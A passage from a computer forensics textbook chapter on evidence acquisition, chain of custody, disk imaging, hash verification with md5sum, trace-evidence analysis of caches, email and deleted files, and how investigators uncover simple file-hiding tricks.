4. Duplicate the suspected evidence.
There are also numerous supplies that will be needed when conducting an
investigation, including these:
Antistatic bags
Cable ties
Evidence bags
Antistatic bubble wrap
Evidence tape
Nonstatic potential packing materials
Packing tape
Various sizes of sturdy boxes
There are various ways to collect and handle evidence, but the typical way
is to record everything. A digital camera can be used to record the layout of the
scene. You will want to take pictures of everything. Document the condition
of computer systems, attachments, cables, and all electronic media. You will
even want to photograph desks, tables, and even plaques or name plates that
show who sits in specific locations. Even pictures of the location of the mouse
can be useful, as they can show whether the person using the computer is
right-handed or left-handed. You can even use a camera to take pictures of
any screen settings that are visible on a running system. You also want to
document internal storage devices and hardware configurations: hard drive
make, model, size, jumper settings, location, and drive interface, plus internal
components such as sound card, video card, and network card. It is a good
idea to record any identifying numbers, too, such as a Media Access Control
(MAC) address. By following this process and keeping adequate records, you
can begin to build a proper chain of custody.
CHAIN, CHAIN, CHAIN
Whereas chain of custody is something that those in law enforcement are
familiar with, it might be new to many IT professionals. Chain of custody is
Acquisition
used to address the reliability and credibility of evidence. Chain of custody
should be able to answer the following the questions:
◆ Who collected the evidence?
◆ How and where was the evidence collected?
◆ Who took possession of the evidence?
◆ How was the evidence stored and protected?
◆ When was the evidence removed from storage and why?
Although this might seem like an onerous task, in reality chain of custody is
just a simple process of documenting the journey of any and all evidence while
keeping it under control. While not every forensic investigation will lead to a
court case or other legal showdown, you must always maintain the integrity of
the evidence. That integrity will make all the difference should you ever have
to defend (in court or otherwise) the credibility of what you have collected,
analyzed, and discovered.
Identify and tag all evidence before placing it into storage. You can make
your own evidence tags and documents, or you can purchase them from a
variety of companies.
With the evidence collected and recorded, it is likely that you have now
reached the point at which you may need to copy hard drives or fixed disks.
After all, you want to perform any analysis on a copy of the original evidence so that
the original can remain safely stored away! The objective of fixed disk imaging
is to preserve the original copy in a pristine state and to provide the analyst
with a copy to use for investigation. This process usually consists of three
steps:
1. Remove the drive from the suspect’s computer.
2. Connect the suspect’s drive to a write blocker and fingerprint.
3. Use a clean, wiped drive to make a copy of the suspect’s computer.
Why take such precautions? Evidence must be protected throughout the
evidence lifecycle or it will not be acceptable in court. For evidence to be
admissible in court, it must be relevant, legally permissible, reliable, properly
identified, and properly preserved.
Drive Removal and Fingerprint
During a forensic duplication, you want to ensure that the suspect’s hard
drive remains unchanged. Basically, this means that you do not want the
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suspect’s computer to go through a normal boot process. Your goal is to keep
the evidence in a pristine state. Start this process by removing the suspect’s
hard drive. Next you need a write blocker. A write blocker is a software
or hardware tool that prevents data from being written to the suspect’s
drive. Software write blockers usually prevent drive writes by capturing and
preventing interrupt 13. An example of a software write blocker is PDBlock.
Information on PDBlock is available at www.digitalintel.com/pdblock.htm.
Hardware blockers allow read-only access via a hardware device. Technology
Pathways (www.techpathways.com) makes NoWrite. This hardware device
connects two drives together and facilitates the copy process while ensuring
the integrity of the suspect’s hard drive. Figure 11-2 shows an example of a
hardware write blocker.
The suspect’s drive can be placed in an external drive enclosure. By doing
this, you can repeat this process as needed for each investigation. Popular
formats of these devices range from USB to FireWire (IEEE1394) to SCSI. No
matter what you use to copy the data, the critical factor is that you don’t make
any changes to the suspect’s computer. Use a cryptographic routine to ensure
the integrity of the original and the copied data. We talk more about this later
in the chapter.
Once the decision is made to remove the suspect’s hard drive for duplication,
make sure that you detail and record everything. There is no such thing as
too much documentation. A photograph, description of the drive, and its
serial numbers should be recorded. Good documentation is the key to a
successful investigation. If you are called to court six months to a year after
the investigation ended, your documentation will be your guide. Table 11-1
lists examples of the types of information that you should record.
UltraBlock USB Write Blocker
Figure 11-2 A write blocker.
Acquisition
Table 11-1 Sample Evidence Listing
TAG
DESCRIPTION
Tag 138
Western Digital WD 307AA hard drive S/N: 112 9798 Size: 40GB
Tag 139
IBM ThinkPad 600E Pentium III/2400 MHz, S/N: 78-TXD53
Tag 140
Largan Chameleon digital camera 2 MEG S/N: B096077
Tag 141
Sony 1GB USB thumbdrive S/N: AG5491205-Z
Suppose that the drive is being removed from a laptop. Several companies
make adapters that enable you to connect these devices to a standard IDE or
SATA interface. These adapters are available from many online vendors and
are a good addition to your forensic toolkit. Here is the URL for one such
vendor: www.cableco.com/products/1920.html.
As a final note, an alternative to removing the suspect’s hard drive is to
perform network duplication. This process requires that both devices (the
original drive and the hardware used for duplication) have network cards and
share a common protocol, such as TCP/IP. It is best to use a crossover cable or
small switch to gain connectivity. Again, exercise caution so that you do not
modify files on the suspect’s computer.
Now that a method of transfer has been decided on to move data, files, and
directories onto the forensic computer, you must decide how to make sure
that the target drive is forensically sterile, and you must determine the type of
image that will be required. You must wipe the target disk and decide whether
to make a physical or logical copy of the evidence.
Drive-Wiping
Any drive used to store a copy of forensic data should be forensically sterile.
Drive-wiping programs are required because of the way format, FDISK, and
erase programs operate. This peculiarity can sometimes work in your favor.
If the suspect performs a quick format, the file allocation table (FAT) and
partition information are overwritten. The data located on the drive actually
remains. Although this data might now be beyond the reach of the average
user, some programs allow for its recovery. The caveat is that any drive used
for the collection of evidence must be thoroughly cleaned, ‘‘wiped,’’ before its
usage.
Drive-wiping programs operate by overwriting all addressable locations
on the disk. Some programs even make several passes to further decrease
the possibility of data recovery. What they provide for the forensic analyst
is verifiably clean media. In the hands of the criminal, these programs offer
the chance to destroy evidence. Some of the leading competitors in this
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field include WipeDrive by AccessData, www.accessdata.com; KillDisk by
Lsoft, www.killdisk.com; and others, such as Stealth by NTI, www.forensicsintl.com, restrict the sale of their product to law enforcement, government
agencies, or other approved organizations. Both WipeDrive and KillDisk comply with the stringent Department of Defense (DoD) standard #5220-22M.
That standard states: ‘‘All addressable locations must be overwritten with a
character, its complement, then a random character and verify.’’
IS DISK WIPING PERFECT?
No. Because hard drive mechanisms have some amount of tolerance to them,
there is always a very small amount of residual data left behind. This is referred
to as shadow data. Use of this data in court would be questionable, and it is
very time-consuming and costly to attempt its recovery. However, government
agencies such as the NSA and others have the capability.
Logical and Physical Copies
With a prepared wiped target, we now turn our attention to the type of copy
that we’ll need for our investigation. Don’t be fooled into thinking that the
Copy command will suffice for this operation. The Copy command does not
make an exact duplicate. It will not rebuild the FAT, partition table, or boot
files, all of which you need. Let’s look at the different types of ways in which
a disk can be copied, logical and physical. Before we move into physical and
logical disk imaging, let’s review the basics of hard drive operation. The disks
inside hard drive are called platters. Data can be written on both sides of the
platter. Reading specific tracks and sectors retrieves information.
The smallest unit of storage on the disk is known as a block (Unix) or
cluster (Windows). Cluster size, as defined by Microsoft, is based upon the
total capacity of the drive. As drive capacity increases, so does the cluster size.
Table 11-2 shows some sample sizes of FAT clusters.
When a computer writes files to the drive and the total file size does not
come out to be an even multiple of the cluster size, extra space must be used
in the next cluster to hold the file. This cluster is only partially used. The
remaining space in that cluster is referred to as file slack (see Figure 11-3).
Slack space can contain remnants from previous disk writes. Although this
information is not normally accessible, because it lies beyond the EOF (End
of File) marker, there are ways to examine and recover this data. The most
common is to use a forensic software package. The type of drive imaging you
perform will determine whether the information held within the slack space
is copied.
Acquisition
Table 11-2 Typical FAT Cluster Sizes
DRIVE SIZE
FAT TYPE
SECTORS PER CLUSTER
CLUSTER SIZE
0–15MB
12-bit
8
4K
16–127MB
16-bit
4
2K
128–255MB
16-bit
8
4K
256–511MB
16-bit
16
8K
512–1,023MB
16-bit
32
16K
1,024–2,048MB
16-bit
64
32K
2,048–4,096MB
16-bit
128
64K
4,096–8,192MB
16-bit
256
128K (NT v4.0)
8,192–16,384MB
16-bit
512
256K (NT v4.0)
Cluster = 64 KB
64 KB
64 KB
64 KB
64 KB
64 KB
File = 140 KB
Slack Space
Free Space
EOF
Figure 11-3 File slack and drive space.
Finally, let’s review physical and logical drives. A physical drive is the
hard drive itself. Before a hard drive is formatted, it must be partitioned.
Partitioning is the act of defining which areas of the drive will be accessible
to the operating system. A drive can be partitioned and formatted into one
logical drive, C:, or it can be partitioned into several logical drives (C: and D:
drives, for instance). In DOS and Windows 9x, the Format command is used to
examine and configure these parameters. Use Disk Management to examine
partition information if you’re using Windows 2000, XP, 2003, or Vista.
Logical Copies
Performing a logical copy means that you are copying all files and folders.
This is the same process that occurs when you use any number of standard
backup programs, such as Microsoft Backup or Norton Ghost. Files and folders
are duplicated, checksums will match, but the information is not necessarily
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restored in the same location as the original, nor is the free space and file slack
space copied.
During a forensic investigation, you will be examining files, directories, temp
folders, browser history, browser cache, and the context of the information
you discover. The drive may have remnants of files from previous write
operations or have information that is stored in the drive’s free space. A
logical copy will not reproduce or copy this information. What’s important
is to understand what is and is not copied, which depends on the type of
duplication process performed. To get a complete, exact duplication, you need
to perform a physical copy.
Physical Copies
To perform a physical copy means that an exact duplicate of the original media
is being created. NTI’s SafeBack (www.forensics-intl.com/safeback.html) is
an example of this type of physical copy program. Physical copy programs not
only copy all the files and folders; they literally make a bit-level copy. These
programs duplicate all the information down to the track, sector, and cluster
of the original. Information outside normal file parameters is also duplicated.
This information falls into two categories:
Free space — Space on the drive that is currently not allocated to any
file. This could be space that has always been empty or space that was
used for a file that was deleted or moved. If there was a file or information stored there at one time, the information may still be there. While
it cannot be accessed or read through normal processes, some programs
allow for its retrieval. To view this information on the target device, a
physical copy must be produced.
File slack space — As discussed earlier in this chapter, the smallest unit
of storage on a drive is a cluster (or block). Let’s assume that the cluster
size is 512 bytes. If the information being stored is less than 512 bytes,
there is room left at the end of that cluster. That portion of the cluster is
outside the use of normal operation, and data could be remaining there
from previous disk writes. You need specialty tools to examine these
areas of the disk. You look for erased files, data that survived previous
formats, and other information that someone could have attempted to
hide or destroy.
Imaging the Drive
Imaging is the process of making a physical copy of a hard drive or disk. Imaging is much more than a simple copy program. Imaging is the process of
Acquisition
cloning the operating system, personal configurations, data files, settings, and
all slack. No matter which imaging software you choose, you should first get
comfortable with the software you plan to use, practice using it, and investigate
its features. Common imaging tools include NTI’s SafeBack, Norton Ghost,
and SnapBack DatArrest.
SafeBack is a software program used to make mirror-image copies of hard
drives. SafeBack was originally developed by Sydex, Inc. and was sold to New
Technologies, Inc. (NTI) in 2000. SafeBack is still around, and is considered one
of the premier forensic duplication tools. It has overcome several high-profile
legal challenges and is considered a premiere evidence-preservation tool. If
you are looking for a high-quality forensic duplication tool, this is one to
consider.
SafeBack’s strength is that it makes bit-level copies of hard drives. These
images can be written directly or to any writable magnetic storage device.
These bit-level copies are physical duplicates to the original. Physical duplication is superior to logical duplication because data held in the slack-space
and free-space areas of the drive is duplicated. The integrity of the image is
maintained by the use of an advanced hashing process.
Norton Ghost was originally developed by a New Zealand company and
was sold to Symantec in 1998. Ghost is an acronym for General Hardware
Orientated System Transfer. Norton Ghost is a cloning and disk-duplication
utility. It provides the capability to duplicate a drive or partition. This duplication process can be direct (cloning) or indirect (imaging). Norton Ghost works
with Linux, FAT, and NTFS drive partitions.
SnapBack DatArrest is another fine product. SnapBack started as driveduplication software, but the company has developed a special version for
forensics. Its features include the ability to copy files and the directory structure and to delete information from a suspect’s drive. EnCase, by Guidance
Software, is another excellent piece of forensic software.
Ultimately, you must decide which method of duplication is reasonable and
prudent. One of the goals of this book is to introduce you to software you can
obtain and use at your convenience. Some forensic software is restricted for sale
to only law-enforcement groups. This doesn’t mean that you cannot complete
a forensic analysis without a specific product. There are many good software
tools on the market, and there’s always more than one way to complete a
successful investigation. Regardless of the tools you use, just make sure that
your methods meet the following criteria:
The evidence is not tampered with.
The process is documented and repeatable.
The chain of evidence is recorded.
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Don’t be afraid to read the software manuals and practice with sample data
and files. When it comes to dealing with ‘‘real evidence,’’ you might get only
one chance to do it right!
Authentication
With the decision of what duplication method to use decided, we must next
discuss the concept of authentication. Basically, any time data is handled, you
must ensure that it remains unchanged. Although not every investigation
you become involved in will go to court, ethics and good practice require that
evidence be authenticated as unchanged from the moment of discovery to the
point of disposal. The evidence lifecycle includes the following:
Discovery and recognition
Protection
Recording
Collection
Collect all relevant storage media.
Make an image of the hard disk before removing power.
Print out the screen.
Avoid degaussing equipment.
Identification (tagging and marking)
Preservation
Protect magnetic media from erasure.
Store in a proper environment.
Transportation
Presentation in a court of law
Return of evidence to owner
The primary way to ensure that data remains unchanged is by using integrity
algorithms that fingerprint the original drive and the forensically produced
copy. Integrity provides for the correctness of information. Integrity allows
users of information to have confidence in its correctness. Data can become
distorted in many ways. Normally, computer systems have various methods
to protect data. This is done through parity, checksums, or redundancy. A key
objective of computer forensics is to protect the data’s integrity. Integrity is
part of what is commonly called the CIA triad. This is an important security
concept. CIA stands for confidentiality, integrity, and availability.
Authentication
Integrity can apply to paper documents and to electronic ones. We have all
seen some of the checks and balances used to protect the integrity of paper
documents. It is much easier to verify the integrity of a paper document
than an electronic one. For a good example, look no further than the George
Bush fake-document scandal. During the 2004 election, CBS claimed to have
documents that placed the president’s military service in an unfavorable light.
Typography experts quickly raised questions about the integrity of the memos,
stating that they appeared to be computer-generated in a way that wasn’t even
possible in the early 1970s. Certainly, forgers can copy and create fake paper
documents, but it is not a skill easily learned. Integrity in electronic documents
and data is much more difficult to protect. Computer systems look at values
such as time, data, size, or last-modified fields of a file to track whether or when
they were changed. Although these might work well to verify that information
remains unchanged during a normal data transfer, these various fields can be
manipulated. Forensics requires cryptographic algorithms. These routines use
one-way hashing algorithms.
Hashing algorithms function by taking a variable amount of data and compressing it into a fixed-length value referred to as a hash. The Message-Digest
5 (MD5) algorithm outputs a 128-bit hash value. The Secure Hash Algorithm
(SHA) outputs a 160-bit hash value. This hashed value serves as a fingerprint
or digital signature. It can be used to verify the data is intact and has not
been changed. That is why it is important for investigators to understand the
difference between the various hashing programs. If a hash can be manipulated, it has no value in court. Rules of evidence generally require that when
a duplicate of the original data is admitted as evidence, it must be an exact
duplicate of the original. The hash values must match and be of sufficient
strength to overcome the argument of tampering. As mentioned previously,
evidence must be authenticated as unchanged from the moment of discovery
to the point of disposal.
FACTS ABOUT HASHING
Hashing provides a fingerprint of the message. Strong hashing algorithms are
hard to break and will not produce the same hash value for two or more
messages. Hashing is a one-way process that provides integrity.
Some of the most common hashing algorithms are as follows:
◆ MD2, 4, 5 — Part of the family of Ronald Rivest Message-Digest hashing
functions
◆ SHA — Secure Hash Algorithm
◆ HAVAL — A modified version of the MD5
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The MD5 hashing algorithm is based on RFC 1321, www.faqs.org/rfcs/
rfc1321.html. MD5 is one of the most widely used hashing algorithms
today. Created by Ron Rivest and published in 1992, it has been used as
the basis to create MD5sum and several similar programs. MD5 is available
for both Unix and Windows platforms. The Windows version used here
was downloaded from http://unxutils.sourceforge.net. Here is a simple
example of the command-line argument. I have created a file named pass.txt
for this example:
C:\›md5sum c:\pass.txt
\4145bc316b0bf78c2194b4d635f3bd27 *c:\\pass.txt
The information returned displays the fixed-length hash and the filename.
You could save this information to a file by typing the following command
and using stdout (›). This redirects the output to a file:
C:\›md5sum c:\pass.txt › checksum.txt
Now let’s make a one-character change to the original (pass.txt) file. After
making the change, append (››) to the original output file (checksum.txt) and
compare the results:
C:\›md5sum c:\pass.txt ›› checksumfile.txt
C:\›type checksumfile.txt
\4145bc316b0bf78c2194b4d635f3bd27 *c:\\pass.txt
\cfbc4c6be5c2de532922001e78694d6a *c:\\pass.txt
Does anything look different? Even though only one character was changed
in the file, the hashes are now completely different. As you can see, the creation
of hashes is rather straightforward. Tools such as MD5sum are valuable in that
they can verify no changes have been made, even to one character! During an
investigation, it’s important to remember that these values should be stored
on some type of read-only media, such as a CD. Doing so helps ensure their
integrity and prevents tampering.
Creating hashes for an entire hard disk could turn into a time-consuming
process. Fortunately for us, there are several ways to automate this procedure.
First, the command-line tool could be scripted. If you are more comfortable
using a GUI-based tool, there are many available on the Web. Make sure
that they come from a trusted source, and spend some time checking out
their mode of operation. You might want to try MD5summer, available at
www.md5summer.org/download.html. Upon startup, it opens a window asking
Trace-Evidence Analysis
Figure 11-4 MD5summer.
you to choose the root folder to start the hashing process (see Figure 11-4). This
is great, because the source could be a hard drive, CD, disk, or network drive.
You can choose the entire drive or just specific portions. After you choose
a root folder or starting point, the program scans the target and creates a
checksum for each file. The results can then be stored on a nonwritable media,
such as a CD. Good procedure requires that this information be documented,
labeled, and stored offline in a secure location.
Tripwire is another well-known file-integrity program. Dr. Eugene Spafford,
from Purdue University, originally developed Tripwire in 1992 for the Unix
platform. In 1999, it was released as a commercial product for Windows and
other platforms. You can download a free, open source copy of the Linux
version at www.tripwire.org. The commercial version of Tripwire is available
at www.tripwire.com.
Trace-Evidence Analysis
Analysis is the process of examining the evidence. And although you might
be tempted to look at (analyze) evidence before it is copied or authenticated,
don’t until you have performed an MD5 hash. Forensic analysts typically
make two copies of the original drive and work with one of the copies. In
real life, forensic investigators use many different programs when conducting
their analysis. Likewise, you are unlikely to find a single program that will do
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everything you need to perform an analysis. The two leading programs are
EnCase by Guidance and Forensic Toolkit (FTK) by AccessData. FTK has been
provided as a demo on the enclosed CD. This will allow you to try out a real
piece of forensic software to see how it actually functions.
EVIDENCE VS. TRACE EVIDENCE
Trace evidence is a term that originates from the field of criminal forensics.
Whereas criminal trace evidence can be described as small amounts of material
left behind (such as a fingerprint), computer trace evidence is small amounts of
data or small changes in a computer system. Imagine the attacker that works
hard to cover their tracks. Not wanting to be detected, he attempts to remove
evidence of his crime. What remains is trace evidence.
One question that many ask at this point in an investigation is whether
there will be trace evidence. If an incident did occur, the answer should be
yes. There should always be some trace evidence. Whenever two objects come
into contact, a transfer of material occurs. This is known as Locard’s exchange
principle and is almost universally accepted by all forensic analysts. According
to this principle, simply stated, no matter how hard someone tries, some trace
evidence always remains. The complexity of modern computers leaves the
forensic analyst many places to look for its existence. Even though suspects
can make recovery harder by deleting files and caches, some trace evidence
always remains. During an investigation, examine the slack space, cache,
registry, browser history, and pagesys file to make sure that you discover all
the potential evidence.
HOW TRACE EVIDENCE AND FORENSICS HELPED CATCH THE CREATOR
OF THE MELISSA VIRUS
While the origins of many computer viruses remain unknown, some malware
creators have been found and brought to justice. A case in point is the Melissa
virus. When the Melissa virus was released, it caused massive havoc
throughout the Internet. Because of the way it worked, disguising itself as
email from friends or colleagues, it spread quickly.
As the manhunt intensified to find the creator, computer forensics were put
to the test. Many were surprised at how quickly the FBI found the perpetrator.
Files posted in the alt.sex newsgroup were found to obtain the virus.
Investigators quickly began to examine these file and others posted by the
same user. Soon, it was determined that all of these messages had been sent
from the same hijacked AOL account. While IP addresses and login times were
Trace-Evidence Analysis
being researched by AOL technicians, other investigators started decompiling
documents and code to look for MAC addresses and other clues that might be
present. By examining Word documents that had originated from the
perpetrator, investigators were able to tie in the document’s GUID to a specific
MAC address. Along with the login information provided by AOL, a match was
quickly confirmed. In less than a week after Melissa was initially posted, the
FBI was knocking at David L. Smith’s door.
Remember that file slack occurs when a cluster is only partially used; the
remaining unused space is the file slack. Although it might not be used to
currently hold a file, there might very well be information left there from
previous disk writes or information the system has used for padding. These
remnants may contain information a forensic investigator might consider
valuable. Even if this information lies beyond the EOF (End of File) marker,
tools that allow the examination and recovery of this data are available to
forensic investigators.
One way to examine this information is by using a hex editor or other
specialized tool. Some of the tools that can be used to examine the slack space
include AccessData’s Forensic Toolkit, Guidance’s EnCase, Norton’s Disk
Editor, NTI’s GetSlack, and X-Ways Software’s WinHex. You can download a
demo version of WinHex at www.sf-soft.de/winhex/index-m.html.
Because of the size of most modern hard drives, you would have to spend a
lot of time manually searching a drive for specific evidence. The best approach
is to use some type of automated tool to locate the suspected evidence.
Programs such as WinHex enable you to enter words or phrases to search on.
You will want to search for words that are specific to the investigation, such
as terms associated with drugs, hacking, pornography, or other questionable
activities.
What you actually search for depends on the particulars of the case of
investigation. You will probably need to do some deductive reasoning and
search for specific words or file-extension types. Just as with passwords,
people like names they can remember. Therefore, search for family names,
friends’ names, hobbies, and so forth. Look around the suspect’s work area
and observe it closely for clues — for example, sports photos, hobbies, and the
like. Many people use pet names, phone numbers, or other easily identified
items that may be used for passwords.
Cache files are another area of investigation. Cache files are used for
temporary storage. Computers use many types of caching to store information
that is regularly needed. When a program or application needs information, it
typically checks the cache first to see whether that information is there. If
it is not found, the program/application accesses the drive or other storage.
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Caching is of interest to anyone involved in forensics because of the information
that might have been stored. Computers use a cache to speed up response
times and to prevent the computer from having to reload the information from
the original source. To see an example of a caching in action, enter arp /a at the
command prompt. What will be returned is the corresponding IP to MAC
address that is used for network communication. In the world of Windows,
this information is initially cached for 2 minutes; if the systems communicate
within that time, the information will be cached for an additional 10 minutes.
Browser Cache
One of the more useful caches to peruse is the browser cache. Browser cache
files are temporary files that may contain images/text from recently visited
web pages. The browser settings determine how long the files are saved and
the cache’s default size. The history log saves a file of sites visited with the
associated dates and times. Internet Explorer stores cache information in a file
called Index.dat.
What’s interesting about Index.dat is that according to Microsoft, http://
support.microsoft.com/?kbid=322916, ‘‘The Index.dat file is never resized
or deleted. Clearing the Internet Explorer history by clicking the Clear History
button on the General tab in the Internet Options dialog box does not change
the size of the Index.dat file. Also, setting the Days to keep pages in history
value to 0 (zero) on the General tab does not change the size of the Index.dat
file.’’ For the forensic analyst, this means that Index.dat is a good place to
check for a listing of web sites the suspect has visited. Tools such as Forensic
Toolkit can easily parse and examine the browser cache.
Firefox/Mozilla/Netscape and other related browsers also save the Internet activity using a similar method to IE’s. These programs save the cache
in a file named History.dat. History.dat and Index.dat are, however,
different in that the History.dat file is saved in a binary format, unlike the
cryptic binary format that Index.dat is stored in. Also, History.dat does not
link web site activity with cached web pages. Because of the cryptic format
that Internet Explorer uses, it is good to have a tool available to browse the
file. One such tool is Belkasoft IE History Extractor; the program is available at www.snapfiles.com/download/dlbelkaieextractor.html, as shown
in Figure 11-5. Although this type of program isn’t required to browse the
history file, it sure makes the job easier. It allows you to copy and paste or
search for specific entries.
What other type of information is commonly cached? Lots! Most Microsoft
office applications have a built-in save feature. As individuals are working
on documents, spreadsheets, or other office applications, temporary versions
are stored on the hard drive in a temporary folder. These temp variables are
set when the computer boots up. On Windows 9x/Me systems, the default
Trace-Evidence Analysis
Figure 11-5 IE History Extractor.
location is C:\Windows\Temp. On Windows NT/2000/XP/Vista, the default
location is set to the path that corresponds to the user, as in c:\documents
and settings\administrator\local settings\temp. To verify this, open a
command prompt and enter the command set. What will be returned is the
path to the temporary folder. By browsing to that folder, you can see how
much information is stored there. Microsoft Office documents hold lots of
residual data — enough so that Microsoft offers a tool called Remove Hidden
Data to scrub such documents. It is available at http://www.microsoft.com/
downloads/details.aspx?FamilyId=144E54ED-D43E-42CA-BC7B-5446D34E
5360&displaylang=en.
If that is not enough information to get you started on your quest to uncover
cached information, browse to the Recent Documents folder to get a list of all
documents and files that have been recently opened. This folder will not only
provide you with file names but also the dates and times that these files were
last modified. On a Windows NT/2000/XP/2003/Vista computer, this folder
is found in the C:\Documents and Settings folder. Other types of temporary
files are stored throughout the drive. Whereas some are erased when a system
is shut down, others live on and continue to reside on the drive. Most use the
.tmp extension, so it’s always a good idea to search the drive for these files.
Some may expose useful information.
Email Evidence
Email can offer a treasure chest of information. Email can provide valuable
clues to an investigation. If suspects are using online email services such as
Hotmail or Yahoo!, you will have to dig deeper into the disk to find trace
evidence. If this is the case, perform a low-level search for strings of data that
may now reside in slack or free space. If the suspect is on a corporate system,
there is a good chance that the email was backed up on a server or may have
been stored off-site.
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The actual format of stored email will vary. Unix email is saved in a text
file. Therefore, you can use ‘‘grep’’ or read it with a paging utility. Windows
Outlook email is of a proprietary type. The easiest way to view it is by
using Outlook. Outlook saves mail in PST files. These files can be pulled into
the Outlook application by copying the suspect’s PST file and loading it into
another computer that has had the default PST file erased. Then, when Outlook
is restarted, it will prompt the user for the location of the missing PST file.
Just point to the suspect’s PST file and allow it to load. Another option is to
view the suspect’s email with a forensic tool. AccessData’s Forensic Toolkit
supports Outlook, Outlook Express, AOL, Netscape, and others.
You will also find it helpful to search for and review VCF files. These are
used to identify the user or are sent to other users with contact information.
These can contain names, addresses, phone numbers, pager numbers, and
more. The best way to locate these is by performing a search of the hard
drive. Just look for *.vcf. When found, they can be viewed with Notepad or
other text viewers. Digging deeper, you can even examine email headers to
determine the true source of the email.
Understanding email headers can help you track down suspects. Many of
the potential risks discussed earlier will most likely be using email. Hackers
excel at using email to run social-engineering scams. Spammers, identity
thieves, and other use email to solicit potential victims, and terrorists use
email to communicate with accomplices. This should help demonstrate the
reach and importance of email.
What you really need to know about an email header are the fields that
identify the sender of the message. These fields include IP Address, Sender,
Reply To, and so on. Email source names can be easily spoofed or forged.
What’s harder to hide is the true IP address that the message originated from
and the IP addresses that the message transmitted through on its way to the
destination. The best way to understand this process is to actually look at an
email header. Because Outlook is one of the most popular email clients, it
is used for the example. Figure 11-6 shows an email header viewed through
Outlook. If you look closely, you will see the source IP address.
The information in the Received From header, which shows the path the
email actually took, is listed in reverse order. The last or bottom IP address
is actually the first one put on. It identifies the IP address of the server that
sent the message. As you work up through the header, you will move toward
the target or recipient. When you have obtained the sender’s IP address, you
can use WHOIS or use an online tool such as SamSpade (www.samspade.org)
to identify the owner of the IP address in question. If you want to become
an email expert, review RFC 822, available at www.ietf.org/rfc.html. This
document fully defines SMTP and email headers.
Trace-Evidence Analysis
Figure 11-6 Outlook email header.
Deleted/Overwritten Files and Evidence
Some uninformed users might believe that a file dropped into the Recycle Bin
is permanently erased. In reality, the clusters or blocks in which the information resides are marked as unallocated space. The data remains intact until
overwritten. As an analogy, consider the out-of-luck renter who falls behind
on his rent. Soon, the landlord posts the eviction notice on the door, places an
ad in the paper (‘‘apartment for rent’’), and the renter’s name is removed from
the mailbox. All the while, the renter remains in the apartment until forced out
by the landlord. Such is the case of evicted data. It remains on the drive until
forced out by new information. On a large drive, unallocated clusters may
remain unused for a period of time. Even if the clusters are reused, remnants of
the old data may remain in the slack space. Tools such as Active@UNDELETE
and Norton UnErase can be used to restore information on a Windows system.
To recover deleted files or partitions on a Linux computer, consider TestDisk
from www.cgsecurity.org//index.html?testdisk.html. For a Windows system, visit PC Inspector at www.pcinspector.de/Sites/file recovery/info
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.htm?language=1. And for MAC OS X computers, see http://subrosasoft
.com/OSXSoftware/index.php?main page=product info&products id=1.
Other Trace Evidence
Other types of trace evidence to investigate are logon and connection times.
Contact the network administrator and request all the information he or she
might have about any user who is being investigated. Data backups should
also be requested, as they are another source of potential information. Even
though a warrant may be needed to obtain this data, it could be well worth
the time and trouble involved.
When collecting evidence, certain legal constraints must be followed. Law
enforcement has many more rights when performing a search than do private
citizens. It’s important that companies develop acceptable use policies (AUPs).
The document should specify precisely what employees are allowed to do
with the company’s systems and what is prohibited, and what will happen
to them if they break the rules. The AUP should also specify what level of
privacy employees can expect and that the company maintains the right to
monitor, review, and analyze computer systems. It’s best to check with the
organization’s legal department for what can and cannot be done should any
type of search and seizure be required.
If the user is in a networked environment, there is also the possibility that
information has been stored remotely on a server or other networked device.
Backups, audit trails, and other information gathered from the suspect’s
computer can help determine the location of hidden remote data. You also
want to search the user’s area for disks, zip cartridges, external hard drives, PC
cards, and any other form of external media. Remember to configure these to
read-only before you attempt to examine them and document what you find.
When dealing with computers that more than one person had access to,
you may have to establish who is the culprit. How can you determine
who had access at any particular time? Audit records, file time and date
stamp, along with logon/logoff times help in this investigative process. If the
investigation involves home users or those who have some type of Internet
access, consider contacting their Internet service provider (ISP). ISP logs can
also provide valuable clues. Many individuals maintain free email accounts
that may contain information they are attempting to keep hidden. If required,
logon times, IP addresses, and other pertinent information can be subpoenaed
from these providers. In the end, each piece of information you recover will
help to build a more accurate picture of the truth. Putting together all the
pieces may be difficult, but it is not impossible. One final consideration is time,
as most providers keep log information for only a predefined period of time.
This means you must act quickly when contacting third parties or working
with law enforcement to subpoena information.
Hiding Techniques
Hiding Techniques
Not every suspect is going to leave the evidence you are searching for in a
folder named My Illegal Stuff. Evidence may have been erased, renamed,
or hidden. Information stored within a computer can only exist in one or
more predefined areas. Information can be stored as a normal file, deleted
file, hidden file, or in the slack or free space. Understanding these areas, how
they work, and how they can be manipulated will increase the probability that
you will discover hidden data. Not all suspects you encounter will be super
cybercriminals. Many individuals will not hide files at all, whereas others
will attempt simple file-hiding techniques. You may discover cases where
suspects were overcome with regret, fear, or remorse and attempted to delete
or erase incriminating evidence after the incident. Most average computer
users don’t understand that to drop an item in the Recycle Bin doesn’t mean
that it is permanently destroyed. Such futile attempts to avoid discovery may
prevent the average user from finding data, but they will not deter a forensic
analyst.
Searching for files and folders on a suspect’s computer can be one of the
more interesting parts of forensics. If you have detective-like skills, you will
most likely excel at this endeavor. The big question is where to look. Well, we
will start by discussing some common ways to hide information on a computer
hard drive.
Common File-Hiding Techniques
One common hiding technique is to place the information in an obscure location
such as: C:\Winnt\System32\OS2\Drivers. Again, this will usually block the
average user from finding the file. The technique is just that of placing
the information in an area of the drive where you would not commonly look.
A system search will quickly defeat this futile attempt at data-hiding. Just
search for specific types of files such as BMP, TIF, DOC, and XLS. Using the
search function built into Windows is a great way to quickly find this type of
information. If you are examining a Linux computer, use the grep command
to search the drive.
Another hiding technique is to use file attributes to hide the files or folders.
In the world of Windows, file attributes can be configured to hide files at
the command line with the attrib command. This command is built into the
Windows operating system. It allows a user to change the properties of a
file. Someone could hide a file by issuing attrib +h secret.txt. This command
would render the file invisible in the command-line environment. This can
also be accomplished through the GUI by right-clicking a file and choosing
the hidden type.
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Would the file then be invisible in the GUI? Well, that depends on the view
settings that have been configured. Open a browse window and choose Tools
➪ Folder Options ➪ View ➪ Show Hidden Files, then make sure that Show
Hidden Files is selected. This will display all files and folders, even those
with the +h attribute set. Another way to get a complete listing of all hidden
files is to issue the command attrib /s › attributes.txt from the root directory.
The attrib command lists file attributes, the /s function lists all files in all the
subdirectories, and › redirects the output to a text file. This text file can then be
parsed and placed in a spreadsheet for further analysis. Crude attempts such
as these can be quickly surmounted.
You might encounter a system in which an individual has renamed the
file extensions to deter discovery. Thanks to the fine legacy of Windows
DOS, the operating system is dependent on the file extension to establish
